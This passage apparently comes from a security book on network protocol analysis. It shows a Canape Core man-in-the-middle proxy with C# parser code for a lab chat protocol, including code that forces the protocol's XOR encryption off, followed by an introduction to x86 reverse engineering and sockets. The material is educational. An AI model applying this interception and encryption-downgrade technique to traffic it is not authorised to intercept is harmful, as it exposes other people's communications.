 00000000: 00 00 00 0D                                    - ....

Tag 'Out' - Network '127.0.0.1:50844 <=> 127.0.0.1:12345'
        : 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0123456789ABCDEF
--------:-------------------------------------------------------------------
00000000: 00 00 04 11 03 05 75 73 65 72 31 05 68 65 6C 6C - ......user1.hell
00000010: 6F                                              - o

--snip--
 Closed Connection: 127.0.0.1:50844 <=> 127.0.0.1:12345

Listing 5-19: Example output from proxy when a client connects

Output indicating that a new proxy connection has been made is shown 
at . Each packet is displayed with a header containing information about its 
direction (outbound or inbound), using the descriptive tags Out  and In . 

If your terminal supports 24-bit color, as do most Linux, macOS, and 
even Windows 10 terminals, you can enable color support in Canape Core 
using the --color parameter when starting a proxy script. The colors assigned 
to inbound packets are similar to those in Wireshark: pink for outbound and 
blue for inbound. The packet display also shows which proxy connection it 
came from , matching up with the output at . Multiple connections could 
occur at the same time, especially if you’re proxying a complex application. 

Each packet is dumped in hex and ASCII format. As with capture in 
Wireshark, the traffic might be split between packets as in . However, 
unlike with Wireshark, when using a proxy, we don’t need to deal with 
network effects such as retransmitted packets or fragmentation: we simply 
access the raw TCP stream data after the operating system has dealt with 
all the network effects for us. 

At , the proxy prints that the connection is closed. 

Protocol Analysis Using a Proxy
With our proxy set up, we can begin the basic analysis of the protocol. The 
packets shown in Listing 5-19 are simply the raw data, but we should ideally 
write code to parse the traffic as we did with the Python script we wrote for 
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Wireshark. To that end, we’ll write a Data Parser class containing functions 
to read and write data to and from the network. Copy Listing 5-20 into a 
new file in the same directory as you copied chapter5_proxy.csx in Listing 5-18 
and call it parser.csx.

parser.csx		  using CANAPE.Net.Layers;
using System.IO;

class Parser : DataParserNetworkLayer
{
     protected override bool NegotiateProtocol(
           Stream serverStream, Stream clientStream)
    {
      var client = new DataReader(clientStream);
        var server = new DataWriter(serverStream);

        // Read magic from client and write it to server.
      uint magic = client.ReadUInt32();
        Console.WriteLine("Magic: {0:X}", magic);
        server.WriteUInt32(magic);

        // Return true to signal negotiation was successful.
        return true;
    }
}

Listing 5-20: A basic parser code for proxy

The negotiation method  is called before any other communication 
takes place and is passed to two C# stream objects: one connected to the 
Chat Server and the other to the Chat Client. We can use this negotiation 
method to handle the magic value the protocol uses, but we could also 
use it for more complex tasks, such as enabling encryption if the protocol 
supports it. 

The first task for the negotiation method is to read the magic value 
from the client and pass it to the server. To simply read and write the 4-byte 
magic value, we first wrap the streams in DataReader and DataWriter classes . 
We then read the magic value from the client, print it to the console, and 
write it to the server . 

Add the line #load "parser.csx" to the very top of chapter5_proxy.csx. 
Now when the main chapter5_proxy.csx script is parsed, the parser.csx file is 
automatically included and parsed with the main script. Using this loading 
feature allows you to write each component of your parser in a separate file 
to make the task of writing a complex proxy manageable. Then add the line 
template.AddLayer<Parser>(); just after template.Port = 12345; to add the parsing 
layer to every new connection. This addition will instantiate a new instance 
of the Parser class in Listing 5-20 with every connection so you can store any 
state you need as members of the class. If you start the proxy script and con-
nect a client through the proxy, only important protocol data is logged; you’ll 
no longer see the magic value (other than in the console output). 



Analysis from the Wire   107

Adding Basic Protocol Parsing
Now we’ll reframe the network protocol to ensure that each packet contains 
only the data for a single packet. We’ll do this by adding functions to read 
the length and checksum fields from the network and leave only the data. 
At the same time, we’ll rewrite the length and checksum when sending the 
data to the original recipient to keep the connection open.

By implementing this basic parsing and proxying of a client connection, 
all nonessential information, such as lengths and checksums, should be 
removed from the data. As an added bonus, if you modify data inside the 
proxy, the sent packet will have the correct checksum and length to match 
your modifications. Add Listing 5-21 to the Parser class to implement these 
changes and restart the proxy.

 int CalcChecksum(byte[] data) {
    int chksum = 0;
    foreach(byte b in data) {
        chksum += b;
    }
    return chksum;
}

 DataFrame ReadData(DataReader reader) {
    int length = reader.ReadInt32();
    int chksum = reader.ReadInt32();
    return reader.ReadBytes(length).ToDataFrame();
}

 void WriteData(DataFrame frame, DataWriter writer) {
    byte[] data = frame.ToArray();
    writer.WriteInt32(data.Length);
    writer.WriteInt32(CalcChecksum(data));
    writer.WriteBytes(data);
}

 protected override DataFrame ReadInbound(DataReader reader) {
    return ReadData(reader);
}

protected override void WriteOutbound(DataFrame frame, DataWriter writer) {
    WriteData(frame, writer);
}

protected override DataFrame ReadOutbound(DataReader reader) {
    return ReadData(reader);
}

protected override void WriteInbound(DataFrame frame, DataWriter writer) {
    WriteData(frame, writer);
}

Listing 5-21: Parser code for SuperFunkyChat protocol



108   Chapter 5

Although the code is a bit verbose (blame C# for that), it should be 
fairly simple to understand. At , we implement the checksum calculator. 
We could check packets we read to verify their checksums, but we’ll only 
use this calculator to recalculate the checksum when sending the packet 
onward. 

The ReadData() function at  reads a packet from the network connec-
tion. It first reads a big endian 32-bit integer, which is the length, then the 
32-bit checksum, and finally the data as bytes before calling a function to 
convert that byte array to a DataFrame. (A DataFrame is an object to contain 
network packets; you can convert a byte array or a string to a frame depend-
ing on what you need.) 

The WriteData() function at  does the reverse of ReadData(). It uses the 
ToArray() method on the incoming DataFrame to convert the packet to bytes 
for writing. Once we have the byte array, we can recalculate the checksum 
and the length, and then write it all back to the DataWriter class. At , we 
implement the various functions to read and write data from the inbound 
and outbound streams. 

Put together all the different scripts for network proxy and parsing and 
start a client connection through the proxy, and all nonessential informa-
tion, such as lengths and checksums, should be removed from the data. As 
an added bonus, if you modify data inside the proxy, the sent packet will 
have the correct checksum and length to match your modifications.

Changing Protocol Behavior
Protocols often include a number of optional components, such as encryp-
tion or compression. Unfortunately, it’s not easy to determine how that 
encryption or compression is implemented without doing a lot of reverse 
engineering. For basic analysis, it would be nice to be able to simply remove 
the component. Also, if the encryption or compression is optional, the pro-
tocol will almost certainly indicate support for it while negotiating the ini-
tial connection. So, if we can modify the traffic, we might be able to change 
that support setting and disable that additional feature. Although this is a 
trivial example, it demonstrates the power of using a proxy instead of pas-
sive analysis with a tool like Wireshark. We can modify the connection to 
make analysis easier.

For example, consider the chat application. One of its optional features 
is XOR encryption (although see Chapter 7 on why it’s not really encryp-
tion). To enable this feature, you would pass the --xor parameter to the 
client. Listing 5-22 compares the first couple of packets for the connection 
without the XOR parameter and then with the XOR parameter.

OUTBOUND XOR   :    00 05 75 73 65 72 32 04 4F 4E 59 58 01     - ..user2.ONYX.
OUTBOUND NO XOR:    00 05 75 73 65 72 32 04 4F 4E 59 58 00     - ..user2.ONYX.

INBOUND XOR   :     01 E7                                      - ..
INBOUND NO XOR:     01 00                                      - ..

Listing 5-22: Example packets with and without XOR encryption enabled
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I’ve highlighted in bold two differences in Listing 5-22. Let’s draw 
some conclusions from this example. In the outbound packet (which is 
command 0 based on the first byte), the final byte is a 1 when XOR is 
enabled but 0x00 when it’s not enabled. My guess would be that this flag 
indicates that the client supports XOR encryption. For inbound traffic, 
the final byte of the first packet (command 1 in this case) is 0xE7 when 
XOR is enabled and 0x00 when it’s not. My guess would be that this is a 
key for the XOR encryption. 

In fact, if you look at the client console when you’re enabling XOR 
encryption, you’ll see the line ReKeying connection to key 0xE7, which indi-
cates it is indeed the key. Although the negotiation is valid traffic, if you 
now try to send a message with the client through the proxy, the connection 
will no longer work and may even be disconnected. The connection stops 
working because the proxy will try to parse fields, such as the length of the 
packet, from the connection but will get invalid values. For example, when 
reading a length, such as 0x10, the proxy will instead read 0x10 XOR 0xE7, 
which is 0xF7. Because there are no 0xF7 bytes on the network connection, 
it will hang. The short explanation is that to continue the analysis in this 
situation, we need to do something about the XOR.

While implementing the code to de-XOR the traffic when we read it 
and re-XOR it again when we write it wouldn’t be especially difficult, it 
might not be so simple to do if this feature were implemented to support 
some proprietary compression scheme. Therefore, we’ll simply disable XOR 
encryption in our proxy irrespective of the client’s setting. To do so, we read 
the first packet in the connection and ensure that the final byte is set to 0. 
When we forward that packet onward, the server will not enable XOR and 
will return the value of 0 as the key. Because 0 is a NO-OP in XOR encryp-
tion (as in A XOR 0 = A), this technique will effectively disable the XOR. 

Change the ReadOutbound() method in the parser to the code in 
Listing 5-23 to disable the XOR encryption.

protected override DataFrame ReadOutbound(DataReader reader) {
  DataFrame frame = ReadData(reader);
  // Convert frame back to bytes.
  byte[] data = frame.ToArray();
  if (data[0] == 0) {
    Console.WriteLine("Disabling XOR Encryption");
    data[data.Length - 1] = 0;
    frame = data.ToDataFrame();
  }
  return frame;
}

Listing 5-23: Disable XOR encryption

If you now create a connection through the proxy, you’ll find that 
regardless of whether the XOR setting is enabled or not, the client will 
not be able to enable XOR.
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Final Words
In this chapter, you learned how to perform basic protocol analysis on an 
unknown protocol using passive and active capture techniques. We started 
by doing basic protocol analysis using Wireshark to capture example traffic. 
Then, through manual inspection and a simple Python script, we were able 
to understand some parts of an example chat protocol. 

We discovered in the initial analysis that we were able to implement a 
basic Lua dissector for Wireshark to extract protocol information and dis-
play it directly in the Wireshark GUI. Using Lua is ideal for prototyping pro-
tocol analysis tools in Wireshark.

Finally, we implemented a man-in-the-middle proxy to analyze the pro-
tocol. Proxying the traffic allows demonstration of a few new analysis tech-
niques, such as modifying protocol traffic to disable protocol features (such 
as encryption) that might hinder the analysis of the protocol using purely 
passive techniques.

The technique you choose will depend on many factors, such as the dif-
ficulty of capturing the network traffic and the complexity of the protocol. 
You’ll want to apply the most appropriate combination of techniques to 
fully analyze an unknown protocol.



6
A pplication           R e v erse    

E ngineering        

If you can analyze an entire network protocol just by 
looking at the transmitted data, then your analysis is 
quite simple. But that’s not always possible with some 
protocols, especially those that use custom encryption 
or compression schemes. However, if you can get the 
executables for the client or server, you can use binary 
reverse engineering (RE) to determine how the protocol 
operates and search for vulnerabilities as well.

The two main kinds of reverse engineering are static and dynamic. Static 
reverse engineering is the process of disassembling a compiled executable 
into native machine code and using that code to understand how the execut-
able works. Dynamic reverse engineering involves executing an application 
and then using tools, such as debuggers and function monitors, to inspect 
the application’s runtime operation.
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In this chapter, I’ll walk you through the basics of taking apart execut-
ables to identify and understand the code areas responsible for network 
communication.

I’ll focus on the Windows platform first, because you’re more likely to 
find applications without source code on Windows than you are on Linux 
or macOS. Then, I’ll cover the differences between platforms in more detail 
and give you some tips and tricks for working on alternative platforms; how-
ever, most of the skills you’ll learn will be applicable on all platforms. As 
you read, keep in mind that it takes time to become good reverse engineer, 
and I can’t possibly cover the broad topic of reverse engineering in one 
chapter.

Before we delve into reverse engineering, I’ll discuss how developers 
create executable files and then provide some details about the omnipres-
ent x86 computer architecture. Once you understand the basics of x86 
architecture and how it represents instructions, you’ll know what to look 
for when you’re reverse engineering code. 

Finally, I’ll explain some general operating system principles, includ-
ing how the operating system implements networking functionality. Armed 
with this knowledge, you should be able to track down and analyze network 
applications.

Let’s start with background information on how programs execute on 
a modern operating system and examine the principles of compilers and 
interpreters.

Compilers, Interpreters, and Assemblers
Most applications are written in a higher-level programming language, 
such as C/C++, C#, Java, or one of the many scripting languages. When an 
application is developed, the raw language is its source code. Unfortunately, 
computers don’t understand source code, so the high-level language must 
be converted into machine code (the native instructions the computer’s pro-
cessor executes) by interpreting or compiling the source code.

The two common ways of developing and executing programs is by 
interpreting the original source code or by compiling a program to native 
code. The way a program executes determines how we reverse engineer it, 
so let’s look at these two distinct methods of execution to get a better idea 
of how they work.

Interpreted Languages
Interpreted languages, such as Python and Ruby, are sometimes called 
scripting languages, because their applications are commonly run from 
short scripts written as text files. Interpreted languages are dynamic and 
speed up development time. But interpreters execute programs more 
slowly than code that has been converted to machine code, which the com-
puter understands directly. To convert source code to a more native repre-
sentation, the programming language can instead be compiled.
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Compiled Languages
Compiled programming languages use a compiler to parse the source code 
and generate machine code, typically by generating an intermediate lan-
guage first. For native code generation, usually an assembly language specific 
to the CPU on which the application will run (such as 32- or 64-bit assem-
bly) is used. The language is a human-readable and understandable form 
of the underlying processor’s instruction set. The assembly language is then 
converted to machine code using an assembler. For example, Figure 6-1 shows 
how a C compiler works.

#include <stdio.h>

void main() {

  puts("Hello\n");

}   

C compiler

push   ebp

mov    ebp,esp

sub    esp,0x10

mov    [esp],str

call   _puts

leave  

ret

C source code

Assembler

55

89 e5

83 ec 10

c7 04 24 64 50 40 00

e8 8e 1f 00 00

c9

c3

Assembly
source code

Native
machine code

Figure 6-1: The C language compilation process

To reverse a native binary to the original source code, you need to 
reverse the compilation using a process called decompilation. Unfortunately, 
decompiling machine code is quite difficult, so reverse engineers typically 
reverse just the assembly process using a process called disassembly.

Static vs. Dynamic Linking
With extremely simple programs, the compilation process might be all 
that is needed to produce a working executable. But in most applications, 
a lot of code is imported into the final executable from external libraries 
by linking—a process that uses a linker program after compilation. The 
linker takes the application-specific machine code generated by the com-
piler, along with any necessary external libraries used by the application, 
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and embeds everything in a final executable by statically linking any exter-
nal libraries. This static linking process produces a single, self-contained 
executable that doesn’t depend on the original libraries.

Because certain processes might be handled in very different ways on 
different operating systems, static linking all code into one big binary might 
not be a good idea because the OS-specific implementation could change. 
For example, writing to a file on disk might have widely different operating 
system calls on Windows than it does on Linux. Therefore, compilers com-
monly link an executable to operating system–specific libraries by dynamic 
linking: instead of embedding the machine code in the final executable, the 
compiler stores only a reference to the dynamic library and the required 
function. The operating system must resolve the linked references when the 
application runs.

The x86 Architecture
Before getting into the methods of reverse engineering, you’ll need some 
understanding of the basics of the x86 computer architecture. For a com-
puter architecture that is over 30 years old, x86 is surprisingly persistent. 
It’s used in the majority of desktop and laptop computers available today. 
Although the PC has been the traditional home of the x86 architec-
ture, it has found its way into Mac1 computers, game consoles, and even 
smartphones.

The original x86 architecture was released by Intel in 1978 with the 
8086 CPU. Over the years, Intel and other manufacturers (such as AMD) 
have improved its performance massively, moving from supporting 16-bit 
operations to 32-bit and now 64-bit operations. The modern architecture 
has barely anything in common with the original 8086, other than proces-
sor instructions and programming idioms. Because of its lengthy history, 
the x86 architecture is very complex. We’ll first look at how the x86 exe-
cutes machine code, and then examine its CPU registers and the methods 
used to determine the order of execution.

The Instruction Set Architecture 
When discussing how a CPU executes machine code, it’s common to talk 
about the instruction set architecture (ISA). The ISA defines how the machine 
code works and how it interacts with the CPU and the rest of the computer. 
A working knowledge of the ISA is crucial for effective reverse engineering.

The ISA defines the set of machine language instructions available to a 
program; each individual machine language instruction is represented by a 
mnemonic instruction. The mnemonics name each instruction and determine 
how its parameters, or operands, are represented. Table 6-1 lists the mne-
monics of some of the most common x86 instructions. (I’ll cover many of 
these instructions in greater detail in the following sections.)

1. Apple moved to the x86 architecture in 2006. Prior to that, Apple used the PowerPC archi-
tecture. PCs, on the other hand, have always been based on x86 architecture.
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Table 6-1: Common x86 Instruction Mnemonics

Instruction Description

MOV destination, source Moves a value from source to destination
ADD destination, value Adds an integer value to the destination
SUB destination, value Subtracts an integer value from a destination
CALL address Calls the subroutine at the specified address
JMP address Jumps unconditionally to the specified address
RET Returns from a previous subroutine
RETN size Returns from a previous subroutine and then increments 

the stack by size
Jcc address Jumps to the specified address if the condition indicated 

by cc is true
PUSH value Pushes a value onto the current stack and decrements 

the stack pointer
POP destination Pops the top of the stack into the destination and incre-

ments the stack pointer
CMP valuea, valueb Compares valuea and valueb and sets the appropriate 

flags
TEST valuea, valueb Performs a bitwise AND on valuea and valueb and sets 

the appropriate flags
AND destination, value Performs a bitwise AND on the destination with the 

value

OR destination, value Performs a bitwise OR on the destination with the 
value

XOR destination, value Performs a bitwise Exclusive OR on the destination 
with the value

SHL destination, N Shifts the destination to the left by N bits (with left 
being higher bits)

SHR destination, N Shifts the destination to the right by N bits (with right 
being lower bits)

INC destination Increments destination by 1
DEC destination Decrements destination by 1

These mnemonic instructions take one of three forms depending on 
how many operands the instruction takes. Table 6-2 shows the three differ-
ent forms of operands.

Table 6-2: Intel Mnemonic Forms 

Number of operands Form Examples

0 NAME POP, RET

1 NAME input PUSH 1; CALL func

2 NAME output, input MOV EAX, EBX; ADD EDI, 1
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The two common ways to represent x86 instructions in assembly are 
Intel and AT&T syntax. Intel syntax, originally developed by the Intel 
Corporation, is the syntax I use throughout this chapter. AT&T syntax is 
used in many development tools on Unix-like systems. The syntaxes differ 
in a few ways, such as the order in which operands are given. For example, 
the instruction to add 1 to the value stored in the EAX register would 
look like this in Intel syntax: ADD EAX, 1 and like this in AT&T Syntax: 
addl $1, %eax.

CPU Registers
The CPU has a number of registers for very fast, temporary storage of the 
current state of execution. In x86, each register is referred to by a two- or 
three-character label. Figure 6-2 shows the main registers for a 32-bit x86 
processor. It’s essential to understand the many types of registers the pro-
cessor supports because each serves different purposes and is necessary for 
understanding how the instructions operate.

General purpose registers

EAX

EBX

ECX

EDX

Memory index registers

ESI

EDI

Control registers

EIP

EFLAGS

ESP

EBP

Selector registers

CS DS

FS GS

ES

SS

Figure 6-2: The main 32-bit x86 registers

The x86’s registers are split into four main categories: general purpose, 
memory index, control, and selector.

General Purpose Registers

The general purpose registers (EAX, EBX, ECX, and EDX in Figure 6-2) are 
temporary stores for nonspecific values of computation, such as the results 
of addition or subtraction. The general purpose registers are 32 bits in size, 
although instructions can access them in 16- and 8-bit versions using a sim-
ple naming convention: for example, a 16-bit version of the EAX register is 
accessed as AX, and the 8-bit versions are AH and AL. Figure 6-3 shows the 
organization of the EAX register.
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AL (8 bits)AH (8 bits)

EAX (32 bits)

AX (16 bits)

Figure 6-3: EAX general purpose register with  
small register components

Memory Index Registers

The memory index registers (ESI, EDI, ESP, EBP, EIP) are mostly general pur-
pose except for the ESP and EIP registers. The ESP register is used by the 
PUSH and POP instructions, as well as during subroutine calls to indicate 
the current memory location of the base of a stack.

Although you can utilize the ESP register for purposes other than index-
ing into the stack, it’s usually unwise to do so because it might cause memory 
corruption or unexpected behavior. The reason is that some instructions 
implicitly rely on the value of the register. On the other hand, the EIP regis-
ter cannot be directly accessed as a general purpose register because it indi-
cates the next address in memory where an instruction will be read from.

The only way to change the value of the EIP register is by using a con-
trol instruction, such as CALL, JMP, or RET. For this discussion, the important 
control register is EFLAGS. EFLAGS contains a variety of Boolean flags that 
indicate the results of instruction execution, such as whether the last opera-
tion resulted in the value 0. These Boolean flags implement conditional 
branches on the x86 processor. For example, if you subtract two values and 
the result is 0, the Zero flag in the EFLAGS register will be set to 1, and 
flags that do not apply will be set to 0.

The EFLAGS register also contains important system flags, such as 
whether interrupts are enabled. Not all instructions affect the value of 
EFLAGS. Table 6-3 lists the most important flag values, including the 
flag’s bit position, its common name, and a brief description.

Table 6-3: Important EFLAGS Status Flags

Bit Name Description

0 Carry flag Indicates whether a carry bit was generated from the last 
operation

2 Parity flag The parity of the least-significant byte of the last operation

6 Zero flag Indicates whether the last operation has zero as its result; 
used in comparison operations

7 Sign flag Indicates the sign of the last operation; effectively, the 
most-significant bit of the result

11 Overflow flag Indicates whether the last operation overflowed
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Selector Registers

The selector registers (CS, DS, ES, FS, GS, SS) address memory locations by 
indicating a specific block of memory into which you can read or write. The 
real memory address used in reading or writing the value is looked up in an 
internal CPU table.

N ote   	 Selector registers are usually only used in operating system–specific operations. For 
example, on Windows, the FS register is used to access memory allocated to store the 
current thread’s control information.

Memory is accessed using little endian byte order. Recall from Chapter 3 
that little endian order means the least-significant byte is stored at the lowest 
memory address.

Another important feature of the x86 architecture is that it doesn’t 
require its memory operations to be aligned. All reads and writes to main 
memory on an aligned processor architecture must be aligned to the size 
of the operation. For example, if you want to read a 32-bit value, you would 
have to read from a memory address that is a multiple of 4. On aligned 
architectures, such as SPARC, reading an unaligned address would gener-
ate an error. Conversely, the x86 architecture permits you to read from or 
write to any memory address regardless of alignment.

Unlike architectures such as ARM, which use specialized instructions 
to load and store values between the CPU registers and main memory, 
many of the x86 instructions can take memory addresses as operands. In 
fact, the x86 supports a complex memory-addressing format for its instruc-
tions: each memory address reference can contain a base register, an index 
register, a multiplier for the index (between 1 and 8), or a 32-bit offset. For 
example, the following MOV instruction combines all four of these refer-
encing options to determine which memory address contains the value to 
be copied into the EAX register:

MOV EAX, [ESI + EDI * 8 + 0x50]   ; Read 32-bit value from memory address

When a complex address reference like this is used in an instruction, 
it’s common to see it enclosed in square brackets.

Program Flow
Program flow, or control flow, is how a program determines which instructions 
to execute. The x86 has three main types of program flow instructions: sub-
routine calling, conditional branches, and unconditional branches. Subroutine call-
ing redirects the flow of the program to a subroutine—a specified sequence 
of instructions. This is achieved with the CALL instruction, which changes 
the EIP register to the location of the subroutine. CALL places the memory 
address of the next instruction onto the current stack, which tells the pro-
gram flow where to return after it has performed its subroutine task. The 
return is performed using the RET instruction, which changes the EIP regis-
ter to the top address in the stack (the one CALL put there).
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Conditional branches allow the code to make decisions based on prior 
operations. For example, the CMP instruction compares the values of two 
operands (perhaps two registers) and calculates the appropriate values 
for the EFLAGS register. Under the hood, the CMP instruction does this by 
subtracting one value from the other, setting the EFLAGS register as appro-
priate, and then discarding the result. The TEST instruction does the same 
except it performs an AND operation instead of a subtraction.

After the EFLAGS value has been calculated, a conditional branch 
can be executed; the address it jumps to depends on the state of EFLAGS. 
For example, the JZ instruction will conditionally jump if the Zero flag is 
set (which would happen if, for instance, the CMP instruction compared two 
values that were equal); otherwise, the instruction is a no-operation. Keep 
in mind that the EFLAGS register can also be set by arithmetic and other 
instructions. For example, the SHL instruction shifts the value of a destina-
tion by a certain number of bits from low to high.

Unconditional branching program flow is implemented through the 
JMP instruction, which just jumps unconditionally to a destination address. 
There’s not much more to be said about unconditional branching.

Operating System Basics
Understanding a computer’s architecture is important for both static and 
dynamic reverse engineering. Without this knowledge, it’s difficult to ever 
understand what a sequence of instructions does. But architecture is only 
part of the story: without the operating system handling the computer’s 
hardware and processes, the instructions wouldn’t be very useful. Here I’ll 
explain some of the basics of how an operating system works, which will 
help you understand the processes of reverse engineering.

Executable File Formats
Executable file formats define how executable files are stored on disk. 
Operating systems need to specify the executables they support so they can 
load and run programs. Unlike earlier operating systems, such as MS-DOS, 
which had no restrictions on what file formats would execute (when run, 
files containing instructions would load directly into memory), modern 
operating systems have many more requirements that necessitate more 
complex formats.

Some requirements of a modern executable format include:

•	 Memory allocation for executable instructions and data

•	 Support for dynamic linking of external libraries

•	 Support for cryptographic signatures to validate the source of the 
executable

•	 Maintenance of debug information to link executable code to the origi-
nal source code for debugging purposes
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•	 A reference to the address in the executable file where code begins 
executing, commonly called the start address (necessary because the 
program’s start address might not be the first instruction in the execut-
able file)

Windows uses the Portable Executable (PE) format for all executables 
and dynamic libraries. Executables typically use the .exe extension, and 
dynamic libraries use the .dll extension. Windows doesn’t actually need 
these extensions for a new process to work correctly; they are used just for 
convenience.

Most Unix-like systems, including Linux and Solaris, use the Executable 
Linking Format (ELF) as their primary executable format. The major excep-
tion is macOS, which uses the Mach-O format.

Sections
Memory sections are probably the most important information stored in an 
executable. All nontrivial executables will have at least three sections: the 
code section, which contains the native machine code for the executable; 
the data section, which contains initialized data that can be read and writ-
ten during execution; and a special section to contain uninitialized data. 
Each section has a name that identifies the data it contains. The code sec-
tion is usually called text, the data section is called data, and the uninitial-
ized data is called bss.

Every section contains four basic pieces of information:

•	 A text name

•	 A size and location of the data for the section contained in the execut-
able file

•	 The size and address in memory where the data should be loaded 

•	 Memory protection flags, which indicate whether the section can be 
written or executed when loaded into memory 

Processes and Threads
An operating system must be able to run multiple instances of an execut-
able concurrently without them conflicting. To do so, operating systems 
define a process, which acts as a container for an instance of a running exe-
cutable. A process stores all the private memory the instance needs to oper-
ate, isolating it from other instances of the same executable. The process 
is also a security boundary, because it runs under a particular user of the 
operating system and security decisions can be made based on this identity.

Operating systems also define a thread of execution, which allows the 
operating system to rapidly switch between multiple processes, making it 
seem to the user that they’re all running at the same time. This is called 
multitasking. To switch between processes, the operating system must 
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interrupt what the CPU is doing, store the current process’s state, and 
restore an alternate process’s state. When the CPU resumes, it is running 
another process.

A thread defines the current state of execution. It has its own block of 
memory for a stack and somewhere to store its state when the operating 
system stops the thread. A process will usually have at least one thread, 
and the limit on the number of threads in the process is typically con-
trolled by the computer’s resources.

To create a new process from an executable file, the operating system 
first creates an empty process with its own allocated memory space. Then 
the operating system loads the main executable into the process’s memory 
space, allocating memory based on the executable’s section table. Next, a 
new thread is created, which is called the main thread.

The dynamic linking program is responsible for linking in the main exe-
cutable’s system libraries before jumping back to the original start address. 
When the operating system launches the main thread, the process creation 
is complete.

Operating System Networking Interface
The operating system must manage a computer’s networking hardware so it 
can be shared between all running applications. The hardware knows very 
little about higher-level protocols, such as TCP/IP,2 so the operating system 
must provide implementations of these higher-level protocols. 

The operating system also needs to provide a way for applications to 
interface with the network. The most common network API is the Berkeley 
sockets model, originally developed at the University of California, Berkeley in 
the 1970s for BSD. All Unix-like systems have built-in support for Berkeley 
sockets. On Windows, the Winsock library provides a very similar program-
ming interface. The Berkeley sockets model is so prevalent that you’ll almost 
certainly encounter it on a wide range of platforms.

Creating a Simple TCP Client Connection to a Server

To get a better sense of how the sockets API works, Listing 6-1 shows how to 
create a simple TCP client connection to a remote server.

int port = 12345;
const char* ip = "1.2.3.4";
sockaddr_in addr = {0};

u int s = socket(AF_INET, SOCK_STREAM, 0);

addr.sin_family = PF_INET;
v addr.sin_port = htons(port);
w inet_pton(AF_INET, ip, &addr.sin_addr);

2. This isn’t completely accurate: many network cards can perform some processing in 
hardware. 
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x if(connect(s, (sockaddr*) &addr, sizeof(addr)) == 0)
{
    char buf[1024];

    y int len = recv(s, buf, sizeof(buf), 0);

    z send(s, buf, len, 0);
}

close(s);

Listing 6-1: A simple TCP network client

The first API call u creates a new socket. The AF_INET parameter indi-
cates we want to use the IPv4 protocol. (To use IPv6 instead, we would write 
AF_INET6). The second parameter SOCK_STREAM indicates that we want to use a 
streaming connection, which for the internet means TCP. To create a UDP 
socket, we would write SOCK_DGRAM (for datagram socket).

Next, we construct a destination address with addr, an instance of the 
system-defined sockaddr_in structure. We set up the address structure with the 
protocol type, the TCP port, and the TCP IP address. The call to inet_pton w 
converts the string representation of the IP address in ip to a 32-bit integer.

Note that when setting the port, the htons function is used v to convert 
the value from host-byte-order (which for x86 is little endian) to network-
byte-order (always big endian). This applies to the IP address as well. In this 
case, the IP address 1.2.3.4 will become the integer 0x01020304 when stored 
in big endian format.

The final step is to issue the call to connect to the destination address x. 
This is the main point of failure, because at this point the operating system 
has to make an outbound call to the destination address to see whether any-
thing is listening. When the new socket connection is established, the pro-
gram can read and write data to the socket as if it were a file via the recv y 
and send z system calls. (On Unix-like systems, you can also use the general 
read and write calls, but not on Windows.)

Creating a Client Connection to a TCP Server

Listing 6-2 shows a snippet of the other side of the network connection, a 
very simple TCP socket server.

sockaddr_in bind_addr = {0};

int s = socket(AF_INET, SOCK_STREAM, 0);

bind_addr.sin_family = AF_INET;
bind_addr.sin_port = htons(12345);

u inet_pton("0.0.0.0", &bind_addr.sin_addr);

v bind(s, (sockaddr*)&bind_addr, sizeof(bind_addr));
w listen(s, 10);
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sockaddr_in client_addr;
int socksize = sizeof(client_addr);

x int newsock = accept(s, (sockaddr*)&client_addr, &socksize);

// Do something with the new socket

Listing 6-2: A simple TCP socket server

The first important step when connecting to a TCP socket server is to 
bind the socket to an address on the local network interface, as shown at 
u and v. This is effectively the opposite of the client case in Listing 6-1 
because inet_pton() u just converts a string IP address to its binary form. 
The socket is bound to all network addresses, as signified by "0.0.0.0", 
although this could instead be a specific address on port 12345.

Then, the socket is bound to that local address v. By binding to all 
interfaces, we ensure the server socket will be accessible from outside the 
current system, such as over the internet, assuming no firewall is in the way.

Finally, the listing asks the network interface to listen for new incoming 
connections w and calls accept x, which returns the next new connection. 
As with the client, this new socket can be read and written to using the recv 
and send calls.

When you encounter native applications that use the operating system 
network interface, you’ll have to track down all these function calls in the 
executable code. Your knowledge of how programs are written at the C pro-
gramming language level will prove valuable when you’re looking at your 
reversed code in a disassembler.

Application Binary Interface
The application binary interface (ABI) is an interface defined by the operating 
system to describe the conventions of how an application calls an API func-
tion. Most programming languages and operating systems pass parameters 
left to right, meaning that the leftmost parameter in the original source 
code is placed at the lowest stack address. If the parameters are built by 
pushing them to a stack, the last parameter is pushed first.

Another important consideration is how the return value is provided to 
the function’s caller when the API call is complete. In the x86 architecture, 
as long as the value is less than or equal to 32 bits, it’s passed back in the 
EAX register. If the value is between 32 and 64 bits, it’s passed back in a 
combination of EAX and EDX.

Both EAX and EDX are considered scratch registers in the ABI, mean-
ing that their register values are not preserved across function calls: in 
other words, when calling a function, the caller can’t rely on any value 
stored in these registers to still exist when the call returns. This model of 
designating registers as scratch is done for pragmatic reasons: it allows 
functions to spend less time and memory saving registers, which might not 
be modified anyway. In fact, the ABI specifies an exact list of which regis-
ters must be saved into a location on the stack by the called function.
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Table 6-4 contains a quick description of the typical register assign-
ment’s purpose. The table also indicates whether the register must be saved 
when calling a function in order for the register to be restored to its origi-
nal value before the function returns.

Table 6-4: Saved Register List

Register ABI usage Saved?

EAX Used to pass the return value of the 
function

No

EBX General purpose register Yes

ECX Used for local loops and counters, and 
sometimes used to pass object pointers in 
languages such as C++

No

EDX Used for extended return values No

EDI General purpose register Yes

ESI General purpose register Yes

EBP Pointer to the base of the current valid 
stack frame

Yes

ESP Pointer to the base of the stack Yes

Figure 6-4 shows an add() function being called in the assembly code 
for the print_add() function: it places the parameters on the stack (PUSH 10), 
calls the add() function (CALL add), and then cleans up afterward (ADD ESP, 8). 
The result of the addition is passed back from add() through the EAX regis-
ter, which is then printed to the console.

MOV  EAX, [ESP+4] ; EAX = a
ADD  EAX, [ESP+8] ; EAX = a + b
RET

void print_add() {
    printf("%d\n", add(1, 10));
}

PUSH  EBP
MOV   EBP, ESP

PUSH  10     ; Push parameters
PUSH  1
CALL  add 
ADD   ESP, 8 ; Remove parameters

PUSH  EAX
PUSH  OFFSET "%d\n"
CALL  printf
ADD   ESP, 8

POP   EBP
RET

int add(int a, int b) {
return a + b;

}

Figure 6-4: Function calling in assembly code
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Static Reverse Engineering
Now that you have a basic understanding of how programs execute, we’ll 
